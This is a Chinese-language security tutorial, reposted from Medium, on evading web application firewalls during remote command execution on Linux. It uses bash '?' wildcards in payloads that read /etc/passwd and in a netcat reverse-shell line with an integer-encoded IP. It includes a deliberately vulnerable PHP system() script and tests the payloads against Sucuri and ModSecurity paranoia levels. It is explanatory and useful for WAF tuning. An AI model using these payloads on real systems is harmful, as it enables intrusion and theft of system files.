Web应用程序中发现RCE漏洞的情况还是挺常见的,2017 OWASP Top 10应用程序安全风险”也将“注入”置于第一位置,例如当解释器接收到用户可控的数据作为命令或查询来执行时,很有可能会导致注入风险,例如SQL,NoSQL,OS和LDAP注入。
攻击者的恶意数据可以欺骗解释器在没有授权的情况下执行非预期的命令或访问敏感数据。
所有现代Web应用程序防火墙都能够拦截(甚至阻止)RCE,但是当发生在Linux系统时,我们也有很多方法可以bypass WAF的规则集。
使用到的方法就有“通配符”,所以接下来会讲解一些bash与通配符的事情。
通配符的一些知识
各种命令行程序会使用bash标准通配符(也称为通配模式)来处理多个文件。
如果读者想知道有关标准通配符的更多信息,可通过键入参考手册页man 7 glob来了解。并不是人人都知道有很多bash语法能够只使用问号“?”,正斜杠“/”,数字和字母来执行系统命令,且可以使用相同数量的字符枚举文件并获取其内容。
我举几个例子,例如执行ls命令,可以使用以下语法:/???/?s
使用上面这种语法,你想执行啥基本上都可以执行。比方说,你攻击的目标处于WAF的保护下,但是这个WAF有一个规则,一旦GET参数的值内或POST请求的body里包含/etc/passwd或/bin/ls,所有的请求都会被阻止。
如果你试图请求/?cmd=cat+/etc/passwd,那么它会被目标WAF阻止,你的IP将被永久禁止访问并被标记。如果目标WAF没有足够的规则集来阻止像?和/在查询字符串中,那么就能使用通配符来进行绕过。绕过的payload如下所示:
/?cmd=%2f???%2f??t%20%2f???%2fp??s??
在上面的屏幕截图中可以看到有3个错误“/bin/cat *:是一个目录 ”。
发生这种情况是因为/???/??t可以匹配到到/bin/cat、/dev/net或者/etc/apt等等......
问号通配符仅代表一个可以是任何字符的字符。因此,如果知道文件名的一部分而不是一个字母,那么可以使用此通配符。例如ls *.???,列出当前目录中扩展名为3个字符的所有文件,将列出具有:gif,.jpg,.txt等扩展名的文件。
使用此通配符,可以使用netcat来执行反弹shell。假设需要在端口1337(通常nc -e /bin/bash 127.0.0.1 1337)执行反弹shell到127.0.0.1,可以使用以下语法执行此操作:
/???/n? -e /???/b??h 2130706433 1337
以整数形式(2130706433)转换IP地址127.0.0.1,可以避免在HTTP请求中使用“点”字符。
因为没有-e参数,所以在我的kali里需要使用nc.traditional而不是nc,以便/bin/bash在连接后执行,payload如下:
/???/?c.??????????? -e /???/b??h 2130706433 1337
接下来,对比一下以上的命令:
标准:/bin/nc 127.0.0.1 1337
bypass:/???/n? 2130706433 1337
用到的字符:/ ? n [0-9]
标准:/bin/cat /etc/passwd
bypass:/???/??t /???/??ss??
用到的字符:/ ? t s
为什么用?而不是*呢?因为星号(*)被广泛用于注释语法(类似/ *嘿,我是注释* /),许多WAF阻止它以避免SQL注入...类似于UNION+SELECT+1,2,3/ *
还可以使用echo来枚举文件和目录,echo命令可以使用通配符枚举文件系统上的文件和目录。例如echo /*/*ss*:
这可以在RCE上使用,以便在目标系统上获取文件和目录,例如:
但是为什么使用通配符(特别是问号)可以逃避WAF规则集?让我先从Sucuri WAF开始解释。
Sucuri WAF bypass
测试WAF规则集的最佳方法是什么?创建世界上最易受攻击的PHP脚本并尝试所有可能的技术!
在上面的屏幕截图中,左上方的窗格中有一个执行命令的PHP脚本。
<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);
右侧窗格是最有趣的,因为它显示相同的请求,但使用“问号”作为通配符。结果令人恐惧......Sucuri WAF接受了请求,我的应用程序执行了我输入c参数的命令。现在我可以读取/etc/passwd文件甚至更多...
我可以阅读应用程序本身的PHP源代码,我可以使用netcat(或者我喜欢称之为/???/?c)来执行反弹shell ,或者我可以执行类似curl或wget的程序显示Web服务器的真实IP地址,使我能够通过直接连接到目标来绕过WAF。
我不知道为啥会发生这种情况,我以为我在Sucuri WAF配置上遗漏了一些东西,但似乎又没有......我已经在Sucuri问过这是否是一种有人参与的行为,以及他们是否配置了默认的“低等级”以避免误报,但目前我还在等待答案。
请记住,我正在使用一个不代表真实场景的愚蠢PHP脚本进行此测试。恕我直言,你不应该根据它阻止的请求判断一个WAF是否强大,而且Sucuri的安全性并不低,因为WAF也无法完全保护一个故意让它易受攻击的网站。
上面成功绕过了waf,现在来测试一下ModSecurity OWASP CRS 3.0。
相关等级配置如下:
# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
以下是WAF的规则解释:
接下来开始测试这个WAF!
Paranoia Level 0 (PL0)
等级0表示禁用了许多规则,因此我们的payload可以毫无问题地导致远程命令执行,这是绝对正常的,不要惊慌。
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
ModSecurity中的等级1意味着规则更严格,虽然消除了误报,但它也过于宽松。
可以在netnea网站上找到按等级分组的规则列表:https://www.netnea.com/cms/core-rule-set-inventory/
Paranoia Level 1 and 2 (PL1, PL2)
我已将1级和2级分组,因为它们的差异(如上图所示)不会影响我们的目标,所有行为都与下面描述的相同。
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"
使用PL1和PL2 ModSecurity显然阻止了我对“OS File Access Attempt”的请求(930120)。但是,如果我将问号用作通配符怎么办?该请求却被我的WAF接受了。
发生这种情况是因为“问号”,“正斜杠”和“空格”都在规则920271和920272的字符范围内。此外,使用“问号”而不是命令语法使我能够bypass “OS File Access Attempt”,例如我们的/etc/passwd。
Paranoia Level 3 (PL3)
这个等级会阻止包含“?”等字符超过n次的请求,所以事实上,我的请求已被标记为“Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters”。
ModSecurity还是挺强的,但是很不幸,我写的web应用很脆弱,我可以使用较少的问号并使用以下语法读取passwd文件。
c=/?in/cat+/et?/passw?
可以看到只使用了3个问号就可以绕过WAF并读取文件了,其实不能说等级3就不行,这里使用的是测试环境,实际真实场景并不一定能绕过。
那么能绕过等级4吗?
Paranoia Level 4 (PL4)
经过我的测试发现基本上没有办法绕过,范围之外的所有字符a-z A-Z 0–9都被阻止了!没办法......当你需要执行一个命令来读取文件时,有90%的概率会需要一个“空格”字符或“正斜杠”。
最后的想法
回归静态HTML页面......这是提高Web应用程序安全性的最快方法!很难说配置最好的WAF或者只使用最好的等级规则有没有用?但是我们能了解到的是不应该完全信任部署在Web应用程序上均匀分布的WAF规则集。事实上,我们应该根据应用程序功能配置我们的WAF规则。无论如何,当你在ModSecurity上写一个新的SecRule时,请记住,可能有很多方法可以bypass你的过滤器/正则表达式。
*来源:medium;本文作者:生如夏花,转载请注明来自FreeBuf.COM